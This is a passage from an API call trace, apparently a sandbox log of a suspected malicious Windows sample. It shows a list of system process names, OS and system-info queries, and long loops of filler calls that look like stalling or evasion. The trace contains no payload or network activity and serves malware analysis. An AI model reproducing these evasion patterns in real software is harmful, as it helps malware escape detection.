lpWideCharStr="dllhost.exe,reader_sl.exe,ONENOTEM.EXE,OfficeClickToRun.exe,explorer.exe,dwm.exe,taskeng.exe,userinit.exe,taskhost.exe,spoolsv.exe,audiodg.exe,svchost.exe,lsm.exe,lsass.exe,services.exe,winlogon.exe,wininit.exe,csrss.exe,smss.exe,System,[System Process],", cchWideChar=254, lpMultiByteStr=0x4ed310, cbMultiByte=254, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dllhost.exe,reader_sl.exe,ONENOTEM.EXE,OfficeClickToRun.exe,explorer.exe,dwm.exe,taskeng.exe,userinit.exe,taskhost.exe,spoolsv.exe,audiodg.exe,svchost.exe,lsm.exe,lsass.exe,services.exe,winlogon.exe,wininit.exe,csrss.exe,smss.exe,System,[System Process],", lpUsedDefaultChar=0x0) returned 254 [0134.455] GetLastError () returned 0x12 [0134.455] RtlGetVersion (in: lpVersionInformation=0x246f808 | out: lpVersionInformation=0x246f808*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 0x0 [0134.455] GetNativeSystemInfo (in: lpSystemInfo=0x246f924 | out: lpSystemInfo=0x246f924*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0x3, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0134.455] lstrlenA (lpString="YKYD69Q_705BA84C") returned 16 [0134.455] GetLastError () returned 0x12 [0134.455] wsprintfA (in: param_1=0x246f8c3, param_2="%X%P" | out: param_1="1EBE6P") returned 6 [0134.455] SetLastError (dwErrCode=0x12) [0134.456] GetCurrentProcessId () returned 0x79c [0134.456] GetCurrentProcessId () returned 0x79c [0134.456] GetCurrentProcessId () returned 0x79c [0134.456] GetCurrentProcessId () returned 0x79c [0134.456] lstrlenA (lpString="just string") returned 11 [0134.456] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.456] GetLastError () returned 0x12 [0134.456] lstrlenA (lpString="just string") returned 11 [0134.456] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.456] GetLastError () returned 0x12 [0134.456] lstrlenA (lpString="just string") returned 11 [0134.456] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.456] GetLastError () returned 0x12 [0134.457] GetLastError () returned 0x12 [0134.457] wsprintfA (in: param_1=0x246f75f, param_2="%X%P" | out: param_1="1EC40P") returned 6 [0134.457] SetLastError (dwErrCode=0x12) [0134.457] GetCurrentProcessId () returned 0x79c [0134.457] GetCurrentProcessId () returned 0x79c [0134.457] GetCurrentProcessId () returned 0x79c [0134.457] GetCurrentProcessId () returned 0x79c [0134.457] lstrlenA (lpString="just string") returned 11 [0134.457] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.457] GetLastError () returned 0x12 [0134.457] GetLastError () returned 0x12 [0134.457] GetCurrentProcessId () returned 0x79c [0134.457] GetCurrentProcessId () returned 0x79c [0134.457] GetCurrentProcessId () returned 0x79c [0134.457] lstrlenA (lpString="just string") returned 11 [0134.457] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.457] GetLastError () returned 0x12 [0134.457] GetLastError () returned 0x12 [0134.457] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.457] SetLastError (dwErrCode=0x12) [0134.457] GetCurrentProcess () returned 0xffffffff [0134.457] GetLastError () returned 0x12 [0134.457] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1ECACP") returned 6 [0134.457] SetLastError (dwErrCode=0x12) [0134.457] GetCurrentProcessId () returned 0x79c [0134.457] GetCurrentProcess () returned 0xffffffff [0134.457] GetLastError () returned 0x12 [0134.457] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1ECADP") returned 6 [0134.457] SetLastError (dwErrCode=0x12) [0134.457] GetCurrentProcessId () returned 0x79c [0134.457] GetLastError () returned 0x12 [0134.457] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1ECAEP") returned 6 [0134.457] SetLastError (dwErrCode=0x12) [0134.457] GetCurrentProcessId () returned 0x79c [0134.457] GetCurrentProcessId () returned 0x79c [0134.457] GetCurrentProcessId () returned 0x79c [0134.457] GetCurrentProcessId () returned 0x79c [0134.457] lstrlenA (lpString="just string") returned 11 [0134.457] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.457] GetLastError () returned 0x12 [0134.457] lstrlenA (lpString="just string") returned 11 [0134.457] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.457] GetLastError () returned 0x12 [0134.457] GetLastError () returned 0x12 [0134.457] GetCurrentProcessId () returned 0x79c [0134.457] GetCurrentProcessId () returned 0x79c [0134.458] lstrlenA (lpString="just string") returned 11 [0134.458] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.458] GetLastError () returned 0x12 [0134.458] GetLastError () returned 0x12 [0134.458] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.458] SetLastError (dwErrCode=0x12) [0134.458] GetCurrentProcess () returned 0xffffffff [0134.458] GetLastError () returned 0x12 [0134.458] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1ED6AP") returned 6 [0134.458] SetLastError (dwErrCode=0x12) [0134.458] GetCurrentProcessId () returned 0x79c [0134.458] GetCurrentProcess () returned 0xffffffff [0134.458] GetLastError () returned 0x12 [0134.458] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1ED6BP") returned 6 [0134.458] SetLastError (dwErrCode=0x12) [0134.458] GetCurrentProcessId () returned 0x79c [0134.458] GetLastError () returned 0x12 [0134.458] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1ED6CP") returned 6 [0134.458] SetLastError (dwErrCode=0x12) [0134.458] GetCurrentProcessId () returned 0x79c [0134.458] GetCurrentProcessId () returned 0x79c [0134.458] GetCurrentProcessId () returned 0x79c [0134.458] GetCurrentProcessId () returned 0x79c [0134.458] lstrlenA (lpString="just string") returned 11 [0134.458] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.458] GetLastError () returned 0x12 [0134.458] GetLastError () returned 0x12 [0134.458] lstrlenA (lpString="just string") returned 11 [0134.458] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.458] GetLastError () returned 0x12 [0134.458] GetLastError () returned 0x12 [0134.458] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1EDB2P") returned 6 [0134.458] SetLastError (dwErrCode=0x12) [0134.458] GetCurrentProcessId () returned 0x79c [0134.458] GetCurrentProcessId () returned 0x79c [0134.458] GetCurrentProcessId () returned 0x79c [0134.458] GetCurrentProcessId () returned 0x79c [0134.458] lstrlenA (lpString="just string") returned 11 [0134.458] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.458] GetLastError () returned 0x12 [0134.458] GetCurrentProcess () returned 0xffffffff [0134.458] GetLastError () returned 0x12 [0134.458] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1EDBBP") returned 6 [0134.458] SetLastError (dwErrCode=0x12) [0134.458] GetCurrentProcessId () returned 0x79c [0134.458] GetLastError () returned 0x12 [0134.458] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1EDBCP") returned 6 [0134.458] SetLastError (dwErrCode=0x12) [0134.458] GetCurrentProcessId () returned 0x79c [0134.458] GetCurrentProcessId () returned 0x79c [0134.458] GetCurrentProcessId () returned 0x79c [0134.458] GetCurrentProcessId () returned 0x79c [0134.458] lstrlenA (lpString="just string") returned 11 [0134.458] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.458] GetLastError () returned 0x12 [0134.458] GetCurrentProcessId () returned 0x79c [0134.458] lstrlenA (lpString="just string") returned 11 [0134.458] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.458] GetLastError () returned 0x12 [0134.458] GetLastError () returned 0x12 [0134.458] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.459] SetLastError (dwErrCode=0x12) [0134.459] GetCurrentProcess () returned 0xffffffff [0134.459] GetLastError () returned 0x12 [0134.459] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1EE1EP") returned 6 [0134.459] SetLastError (dwErrCode=0x12) [0134.459] GetCurrentProcessId () returned 0x79c [0134.459] GetCurrentProcess () returned 0xffffffff [0134.459] GetLastError () returned 0x12 [0134.459] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1EE1FP") returned 6 [0134.459] SetLastError (dwErrCode=0x12) [0134.459] GetCurrentProcessId () returned 0x79c [0134.459] GetLastError () returned 0x12 [0134.459] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1EE20P") returned 6 [0134.459] SetLastError (dwErrCode=0x12) [0134.459] GetCurrentProcessId () returned 0x79c [0134.459] GetCurrentProcessId () returned 0x79c [0134.459] GetCurrentProcessId () returned 0x79c [0134.459] GetCurrentProcessId () returned 0x79c [0134.459] lstrlenA (lpString="just string") returned 11 [0134.459] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.459] GetLastError () returned 0x12 [0134.459] GetCurrentProcessId () returned 0x79c [0134.459] lstrlenA (lpString="just string") returned 11 [0134.459] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.459] GetLastError () returned 0x12 [0134.459] GetCurrentProcessId () returned 0x79c [0134.459] GetCurrentProcessId () returned 0x79c [0134.459] lstrlenA (lpString="just string") returned 11 [0134.459] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.459] GetLastError () returned 0x12 [0134.459] GetCurrentProcessId () returned 0x79c [0134.459] GetCurrentProcessId () returned 0x79c [0134.459] lstrlenA (lpString="just string") returned 11 [0134.459] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.459] GetLastError () returned 0x12 [0134.459] GetLastError () returned 0x12 [0134.459] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1EECAP") returned 6 [0134.459] SetLastError (dwErrCode=0x12) [0134.459] GetCurrentProcessId () returned 0x79c [0134.459] GetCurrentProcessId () returned 0x79c [0134.459] GetCurrentProcessId () returned 0x79c [0134.459] GetCurrentProcessId () returned 0x79c [0134.459] lstrlenA (lpString="just string") returned 11 [0134.459] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.459] GetLastError () returned 0x12 [0134.459] GetCurrentProcessId () returned 0x79c [0134.459] GetCurrentProcessId () returned 0x79c [0134.459] lstrlenA (lpString="just string") returned 11 [0134.459] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.459] GetLastError () returned 0x12 [0134.459] GetLastError () returned 0x12 [0134.459] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.459] SetLastError (dwErrCode=0x12) [0134.459] GetCurrentProcess () returned 0xffffffff [0134.459] GetLastError () returned 0x12 [0134.459] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1EF04P") returned 6 [0134.459] SetLastError (dwErrCode=0x12) [0134.459] GetCurrentProcessId () returned 0x79c [0134.459] GetCurrentProcess () returned 0xffffffff [0134.459] GetLastError () returned 0x12 [0134.459] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1EF05P") returned 6 [0134.459] SetLastError (dwErrCode=0x12) [0134.460] GetCurrentProcessId () returned 0x79c [0134.460] GetLastError () returned 0x12 [0134.460] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1EF06P") returned 6 [0134.460] SetLastError (dwErrCode=0x12) [0134.460] GetCurrentProcessId () returned 0x79c [0134.460] GetCurrentProcessId () returned 0x79c [0134.460] GetCurrentProcessId () returned 0x79c [0134.460] GetCurrentProcessId () returned 0x79c [0134.460] lstrlenA (lpString="just string") returned 11 [0134.460] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.460] GetLastError () returned 0x12 [0134.460] GetLastError () returned 0x12 [0134.460] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.460] SetLastError (dwErrCode=0x12) [0134.460] GetCurrentProcess () returned 0xffffffff [0134.460] GetLastError () returned 0x12 [0134.460] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1EF36P") returned 6 [0134.460] SetLastError (dwErrCode=0x12) [0134.460] GetCurrentProcessId () returned 0x79c [0134.460] GetCurrentProcess () returned 0xffffffff [0134.460] GetLastError () returned 0x12 [0134.460] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1EF37P") returned 6 [0134.460] SetLastError (dwErrCode=0x12) [0134.460] GetCurrentProcessId () returned 0x79c [0134.460] GetLastError () returned 0x12 [0134.460] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1EF38P") returned 6 [0134.460] SetLastError (dwErrCode=0x12) [0134.460] GetCurrentProcessId () returned 0x79c [0134.460] GetCurrentProcessId () returned 0x79c [0134.460] GetCurrentProcessId () returned 0x79c [0134.460] GetCurrentProcessId () returned 0x79c [0134.460] lstrlenA (lpString="just string") returned 11 [0134.460] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.460] GetLastError () returned 0x12 [0134.460] GetLastError () returned 0x12 [0134.460] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1EF6AP") returned 6 [0134.460] SetLastError (dwErrCode=0x12) [0134.460] GetCurrentProcessId () returned 0x79c [0134.460] GetCurrentProcessId () returned 0x79c [0134.460] GetCurrentProcessId () returned 0x79c [0134.460] GetCurrentProcessId () returned 0x79c [0134.460] lstrlenA (lpString="just string") returned 11 [0134.460] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.460] GetLastError () returned 0x12 [0134.460] GetLastError () returned 0x12 [0134.460] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1EF74P") returned 6 [0134.460] SetLastError (dwErrCode=0x12) [0134.460] GetCurrentProcessId () returned 0x79c [0134.460] GetCurrentProcessId () returned 0x79c [0134.460] GetCurrentProcessId () returned 0x79c [0134.460] GetCurrentProcessId () returned 0x79c [0134.460] lstrlenA (lpString="just string") returned 11 [0134.460] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.460] GetLastError () returned 0x12 [0134.460] GetLastError () returned 0x12 [0134.460] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1EFE2P") returned 6 [0134.460] SetLastError (dwErrCode=0x12) [0134.460] GetCurrentProcessId () returned 0x79c [0134.460] GetCurrentProcessId () returned 0x79c [0134.461] GetCurrentProcessId () returned 0x79c [0134.461] GetCurrentProcessId () returned 0x79c [0134.461] lstrlenA (lpString="just string") returned 11 [0134.461] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.461] GetLastError () returned 0x12 [0134.461] lstrlenA (lpString="just string") returned 11 [0134.461] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.461] GetLastError () returned 0x12 [0134.461] GetCurrentProcess () returned 0xffffffff [0134.461] GetLastError () returned 0x12 [0134.461] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F045P") returned 6 [0134.461] SetLastError (dwErrCode=0x12) [0134.461] GetCurrentProcessId () returned 0x79c [0134.461] GetLastError () returned 0x12 [0134.461] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F046P") returned 6 [0134.461] SetLastError (dwErrCode=0x12) [0134.461] GetCurrentProcessId () returned 0x79c [0134.461] GetCurrentProcessId () returned 0x79c [0134.461] GetCurrentProcessId () returned 0x79c [0134.461] GetCurrentProcessId () returned 0x79c [0134.461] lstrlenA (lpString="just string") returned 11 [0134.461] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.461] GetLastError () returned 0x12 [0134.461] GetCurrentProcessId () returned 0x79c [0134.461] GetCurrentProcessId () returned 0x79c [0134.461] GetCurrentProcessId () returned 0x79c [0134.461] lstrlenA (lpString="just string") returned 11 [0134.461] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.461] GetLastError () returned 0x12 [0134.461] GetLastError () returned 0x12 [0134.461] GetLastError () returned 0x12 [0134.461] lstrlenA (lpString="just string") returned 11 [0134.461] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.461] GetLastError () returned 0x12 [0134.461] lstrlenA (lpString="just string") returned 11 [0134.461] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.461] GetLastError () returned 0x12 [0134.461] GetCurrentProcessId () returned 0x79c [0134.461] GetCurrentProcessId () returned 0x79c [0134.461] GetCurrentProcessId () returned 0x79c [0134.461] lstrlenA (lpString="just string") returned 11 [0134.461] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.461] GetLastError () returned 0x12 [0134.461] GetLastError () returned 0x12 [0134.461] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.461] SetLastError (dwErrCode=0x12) [0134.461] GetCurrentProcess () returned 0xffffffff [0134.461] GetLastError () returned 0x12 [0134.461] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F166P") returned 6 [0134.461] SetLastError (dwErrCode=0x12) [0134.461] GetCurrentProcessId () returned 0x79c [0134.461] GetCurrentProcess () returned 0xffffffff [0134.461] GetLastError () returned 0x12 [0134.461] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F167P") returned 6 [0134.461] SetLastError (dwErrCode=0x12) [0134.461] GetCurrentProcessId () returned 0x79c [0134.461] GetLastError () returned 0x12 [0134.461] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F168P") returned 6 [0134.461] SetLastError (dwErrCode=0x12) [0134.461] GetCurrentProcessId () returned 0x79c [0134.461] GetCurrentProcessId () returned 0x79c [0134.461] GetCurrentProcessId () returned 0x79c [0134.461] GetCurrentProcessId () returned 0x79c [0134.462] lstrlenA (lpString="just string") returned 11 [0134.462] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.462] GetLastError () returned 0x12 [0134.462] GetLastError () returned 0x12 [0134.462] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.462] SetLastError (dwErrCode=0x12) [0134.462] GetCurrentProcess () returned 0xffffffff [0134.462] GetLastError () returned 0x12 [0134.462] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F18EP") returned 6 [0134.462] SetLastError (dwErrCode=0x12) [0134.462] GetCurrentProcessId () returned 0x79c [0134.462] GetCurrentProcess () returned 0xffffffff [0134.462] GetLastError () returned 0x12 [0134.462] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F18FP") returned 6 [0134.462] SetLastError (dwErrCode=0x12) [0134.462] GetCurrentProcessId () returned 0x79c [0134.462] GetLastError () returned 0x12 [0134.462] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F190P") returned 6 [0134.462] SetLastError (dwErrCode=0x12) [0134.462] GetCurrentProcessId () returned 0x79c [0134.462] GetCurrentProcessId () returned 0x79c [0134.462] GetCurrentProcessId () returned 0x79c [0134.462] GetCurrentProcessId () returned 0x79c [0134.462] lstrlenA (lpString="just string") returned 11 [0134.462] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.462] GetLastError () returned 0x12 [0134.462] lstrlenA (lpString="just string") returned 11 [0134.462] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.462] GetLastError () returned 0x12 [0134.462] GetCurrentProcessId () returned 0x79c [0134.462] lstrlenA (lpString="just string") returned 11 [0134.462] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.462] GetLastError () returned 0x12 [0134.462] GetLastError () returned 0x12 [0134.462] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.462] SetLastError (dwErrCode=0x12) [0134.462] GetCurrentProcess () returned 0xffffffff [0134.462] GetLastError () returned 0x12 [0134.462] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F22EP") returned 6 [0134.462] SetLastError (dwErrCode=0x12) [0134.462] GetCurrentProcessId () returned 0x79c [0134.462] GetCurrentProcess () returned 0xffffffff [0134.462] GetLastError () returned 0x12 [0134.462] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F22FP") returned 6 [0134.462] SetLastError (dwErrCode=0x12) [0134.462] GetCurrentProcessId () returned 0x79c [0134.462] GetLastError () returned 0x12 [0134.462] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F230P") returned 6 [0134.462] SetLastError (dwErrCode=0x12) [0134.462] GetCurrentProcessId () returned 0x79c [0134.462] GetCurrentProcessId () returned 0x79c [0134.462] GetCurrentProcessId () returned 0x79c [0134.462] GetCurrentProcessId () returned 0x79c [0134.462] lstrlenA (lpString="just string") returned 11 [0134.462] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.462] GetLastError () returned 0x12 [0134.462] GetLastError () returned 0x12 [0134.462] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F258P") returned 6 [0134.462] SetLastError (dwErrCode=0x12) [0134.462] GetCurrentProcessId () returned 0x79c [0134.462] GetCurrentProcessId () returned 0x79c [0134.463] GetCurrentProcessId () returned 0x79c [0134.463] GetCurrentProcessId () returned 0x79c [0134.463] lstrlenA (lpString="just string") returned 11 [0134.463] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.463] GetLastError () returned 0x12 [0134.463] GetLastError () returned 0x12 [0134.463] lstrlenA (lpString="just string") returned 11 [0134.463] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.463] GetLastError () returned 0x12 [0134.463] GetCurrentProcessId () returned 0x79c [0134.463] GetCurrentProcessId () returned 0x79c [0134.463] lstrlenA (lpString="just string") returned 11 [0134.463] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.463] GetLastError () returned 0x12 [0134.463] GetLastError () returned 0x12 [0134.463] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.463] SetLastError (dwErrCode=0x12) [0134.463] GetCurrentProcess () returned 0xffffffff [0134.463] GetLastError () returned 0x12 [0134.463] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F300P") returned 6 [0134.463] SetLastError (dwErrCode=0x12) [0134.463] GetCurrentProcessId () returned 0x79c [0134.463] GetCurrentProcess () returned 0xffffffff [0134.463] GetLastError () returned 0x12 [0134.463] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F301P") returned 6 [0134.463] SetLastError (dwErrCode=0x12) [0134.463] GetCurrentProcessId () returned 0x79c [0134.463] GetLastError () returned 0x12 [0134.463] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F302P") returned 6 [0134.463] SetLastError (dwErrCode=0x12) [0134.463] GetCurrentProcessId () returned 0x79c [0134.463] GetCurrentProcessId () returned 0x79c [0134.463] GetCurrentProcessId () returned 0x79c [0134.463] GetCurrentProcessId () returned 0x79c [0134.463] lstrlenA (lpString="just string") returned 11 [0134.463] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.463] GetLastError () returned 0x12 [0134.463] GetCurrentProcessId () returned 0x79c [0134.463] lstrlenA (lpString="just string") returned 11 [0134.463] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.463] GetLastError () returned 0x12 [0134.463] GetLastError () returned 0x12 [0134.463] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.463] SetLastError (dwErrCode=0x12) [0134.463] GetCurrentProcess () returned 0xffffffff [0134.463] GetLastError () returned 0x12 [0134.463] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F378P") returned 6 [0134.463] SetLastError (dwErrCode=0x12) [0134.463] GetCurrentProcessId () returned 0x79c [0134.463] GetCurrentProcess () returned 0xffffffff [0134.463] GetLastError () returned 0x12 [0134.463] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F379P") returned 6 [0134.463] SetLastError (dwErrCode=0x12) [0134.463] GetCurrentProcessId () returned 0x79c [0134.463] GetLastError () returned 0x12 [0134.463] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F37AP") returned 6 [0134.463] SetLastError (dwErrCode=0x12) [0134.463] GetCurrentProcessId () returned 0x79c [0134.463] GetCurrentProcessId () returned 0x79c [0134.463] GetCurrentProcessId () returned 0x79c [0134.463] GetCurrentProcessId () returned 0x79c [0134.464] lstrlenA (lpString="just string") returned 11 [0134.464] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.464] GetLastError () returned 0x12 [0134.464] GetLastError () returned 0x12 [0134.464] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.464] SetLastError (dwErrCode=0x12) [0134.464] GetCurrentProcess () returned 0xffffffff [0134.464] GetLastError () returned 0x12 [0134.464] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F3B4P") returned 6 [0134.464] SetLastError (dwErrCode=0x12) [0134.464] GetCurrentProcessId () returned 0x79c [0134.464] GetCurrentProcess () returned 0xffffffff [0134.464] GetLastError () returned 0x12 [0134.464] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F3B5P") returned 6 [0134.464] SetLastError (dwErrCode=0x12) [0134.464] GetCurrentProcessId () returned 0x79c [0134.464] GetLastError () returned 0x12 [0134.464] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F3B6P") returned 6 [0134.464] SetLastError (dwErrCode=0x12) [0134.464] GetCurrentProcessId () returned 0x79c [0134.464] GetCurrentProcessId () returned 0x79c [0134.464] GetCurrentProcessId () returned 0x79c [0134.464] GetCurrentProcessId () returned 0x79c [0134.464] lstrlenA (lpString="just string") returned 11 [0134.464] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.464] GetLastError () returned 0x12 [0134.464] GetCurrentProcess () returned 0xffffffff [0134.464] GetLastError () returned 0x12 [0134.464] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F3DDP") returned 6 [0134.464] SetLastError (dwErrCode=0x12) [0134.464] GetCurrentProcessId () returned 0x79c [0134.464] GetLastError () returned 0x12 [0134.464] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F3DEP") returned 6 [0134.464] SetLastError (dwErrCode=0x12) [0134.464] GetCurrentProcessId () returned 0x79c [0134.464] GetCurrentProcessId () returned 0x79c [0134.464] GetCurrentProcessId () returned 0x79c [0134.464] GetCurrentProcessId () returned 0x79c [0134.464] lstrlenA (lpString="just string") returned 11 [0134.464] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.464] GetLastError () returned 0x12 [0134.464] GetLastError () returned 0x12 [0134.464] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.464] SetLastError (dwErrCode=0x12) [0134.464] GetCurrentProcess () returned 0xffffffff [0134.464] GetLastError () returned 0x12 [0134.464] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F3FAP") returned 6 [0134.464] SetLastError (dwErrCode=0x12) [0134.464] GetCurrentProcessId () returned 0x79c [0134.464] GetCurrentProcess () returned 0xffffffff [0134.464] GetLastError () returned 0x12 [0134.464] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F3FBP") returned 6 [0134.464] SetLastError (dwErrCode=0x12) [0134.464] GetCurrentProcessId () returned 0x79c [0134.464] GetLastError () returned 0x12 [0134.464] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F3FCP") returned 6 [0134.464] SetLastError (dwErrCode=0x12) [0134.464] GetCurrentProcessId () returned 0x79c [0134.464] GetCurrentProcessId () returned 0x79c [0134.465] GetCurrentProcessId () returned 0x79c [0134.465] GetCurrentProcessId () returned 0x79c [0134.465] lstrlenA (lpString="just string") returned 11 [0134.465] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.465] GetLastError () returned 0x12 [0134.465] GetCurrentProcessId () returned 0x79c [0134.465] lstrlenA (lpString="just string") returned 11 [0134.465] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.465] GetLastError () returned 0x12 [0134.465] GetCurrentProcessId () returned 0x79c [0134.465] GetCurrentProcessId () returned 0x79c [0134.465] lstrlenA (lpString="just string") returned 11 [0134.465] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.465] GetLastError () returned 0x12 [0134.465] GetLastError () returned 0x12 [0134.465] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.465] SetLastError (dwErrCode=0x12) [0134.465] GetCurrentProcess () returned 0xffffffff [0134.465] GetLastError () returned 0x12 [0134.465] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F436P") returned 6 [0134.465] SetLastError (dwErrCode=0x12) [0134.465] GetCurrentProcessId () returned 0x79c [0134.465] GetCurrentProcess () returned 0xffffffff [0134.465] GetLastError () returned 0x12 [0134.465] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F437P") returned 6 [0134.465] SetLastError (dwErrCode=0x12) [0134.465] GetCurrentProcessId () returned 0x79c [0134.465] GetLastError () returned 0x12 [0134.465] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1F438P") returned 6 [0134.465] SetLastError (dwErrCode=0x12) [0134.465] GetCurrentProcessId () returned 0x79c [0134.465] GetCurrentProcessId () returned 0x79c [0134.465] GetCurrentProcessId () returned 0x79c [0134.465] GetCurrentProcessId () returned 0x79c [0134.465] lstrlenA (lpString="just string") returned 11 [0134.465] lstrcmpA 